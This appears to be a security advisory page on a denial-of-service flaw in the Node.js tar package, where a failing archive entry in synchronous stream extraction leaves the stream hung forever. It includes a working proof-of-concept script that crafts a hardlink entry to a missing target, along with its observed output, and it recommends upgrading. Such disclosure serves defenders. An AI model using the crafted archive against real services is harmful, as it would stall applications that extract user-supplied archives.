Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Update of Reference Count via a PEND/UNPEND counter imbalance in UnpackSync. The UnpackSync[CHECKFS] method never calls [PEND](), yet UnpackSync inherits the async [ONERROR] handler that unconditionally calls [UNPEND]() on any non-CwdError entry failure, driving the PENDING counter to -1. Because [MAYBECLOSE] emits completion only when PENDING === 0, the negative counter permanently suppresses the end, finish, and close events, causing the stream to hang indefinitely. A single failing archive entry - such as a hardlink whose target does not exist - is sufficient to wedge any consumer that awaits stream completion.
Note: This is only exploitable when using tar.x({ sync: true }) without the file option, or a directly-constructed UnpackSync stream, while awaiting end/finish/close; the default asynchronous API and the file-based synchronous API (x({ sync: true, file })) are unaffected.
Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0.
// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar'); const fs = require('fs')
const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true})
const b = Buffer.alloc(512)
new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0)
const u = x({ sync: true, cwd: dir }) // the UnpackSync stream
let ended = false; const warns = []
u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c))
u.end(Buffer.concat([b, Buffer.alloc(1024)]))
setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500)
Observed:
*** HANG: end/finish never emitted warnings= [ 'TAR_ENTRY_ERROR' ]
Controls in the same harness: the identical archive through the async file API (x({ cwd, file })) resolves with a single TAR_ENTRY_ERROR; an all-success archive through the sync-stream API ends normally and extracts its file. Disk state is fail-closed (the failing entry is simply not created).
Note: Validated against the published npm package tar@7.5.22 on Node v24.19.0.